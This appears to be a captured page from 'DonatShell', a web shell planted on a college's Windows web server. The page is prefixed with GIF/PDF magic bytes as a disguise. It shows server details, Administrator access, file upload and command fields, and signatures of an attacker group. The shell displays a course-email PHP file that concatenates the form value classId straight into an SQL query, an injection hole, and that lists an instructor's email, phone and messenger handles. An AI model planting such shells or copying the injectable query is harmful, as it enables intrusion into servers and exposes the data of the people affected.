GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/Class/ClassProfile_EmailRequestForSubmission.phpinc
<?
// common/Class/ClassProfile_EmailRequestForSubmission.phpinc

$f_classId = formValue('classId');
$f_userId = formValue('userId');
$f_message = '';
#setDebugOff();
#setDebugOn();
// Verify the classId.
if (!isset($f_classId) || $f_classId == '') {
	$f_message .= '<span class="error">The classId was not set.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
}
// Verify the userId.
if (!isset($f_userId) || $f_userId == '') {
	$f_message .= '<span class="error">The userId was not set.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
}
if ($f_message == '') {
	// Get the courseNumber.
	$query = "
			 SELECT class.courseId,
							course.courseNumber
				 FROM class
	 INNER JOIN course ON class.courseId = course.courseId
				WHERE class.classId IN (".$f_classId.")
	";
	$courseResult = query_do($query);
	$courseCount =$_SESSION['qry']['count'];
	if ($courseCount) {
		$courseRow = mysqli_fetch_assoc($courseResult);
		$f_courseNumber = $courseRow['courseNumber'];
	} else {
		$f_message .= '<span class="error">The courseNumber for classId '.$f_classId.' was not found.</span> No email could be sent from '.basename(__FILE__).': '.__LINE__.'.<br>';
	} // if ($courseCount)
	if ($f_message == '') {
		// Get student info.
		$displayStudentInformation = false;
		require('common/studentInfo.phpinc');
		if ($f_userEmail != '') {
			// Start $mail.
			require('email/class.phpmailer.php');
			// Set $mail.
			$mail->From = "jim.martinson@ridgewater.edu";
			$mail->FromName = "Jim Martinson";
			$mail->AddAddress($f_userEmail,$f_username);
			#$mail->AddAddress("jim@jimmartinson.com","Jim Martinson as ".$f_username); // This address is for testing only.
			$mail->AddCC("jim.martinson@ridgewater.edu", "Jim Martinson");
			$mail->Subject = $f_courseNumber." Class Profile not submitted";
			$mail->Body = '
			'.$f_userNickName.',<br>
			<br>
			You have not submitted you class profile for '.$f_courseNumber.'.<br>
			Please submit your <a href="https://cst.ridgewater.edu/JimMartinson/'.$f_courseNumber.'/?ClassProfile">Class Profile</a> and click on the <b>Submit assignment</b> button.<br>
			<br>
			If you have problems completing or submitting your Class Profile please contact me,<br>
			-- Jim<br>
			<br>
			Jim Martinson<br>
			Ridgewater College <br>
			Web: https://cst.ridgewater.edu<br>
			email: jim.martinson@ridgewater.edu<br>
			work: 320-234-8546<br>
			IM: AIM: jimmart55, ICQ: 6757222, MSN: jimmart@hutchtel.net, Yahoo: jimmart55.<br>
			';
			// Send $mail.
			require('email/sendEmail.phpinc');
			$_SESSION['Message'] = 'Class Profile submission requested from '.$f_username.'.';
		} else {
			$_SESSION['Message'] = '<span class="error">No email address found for '.$f_username.'.</span> No email could be sent.';
		}
	}
}
?>

Anon7 - 2022
AnonSec Team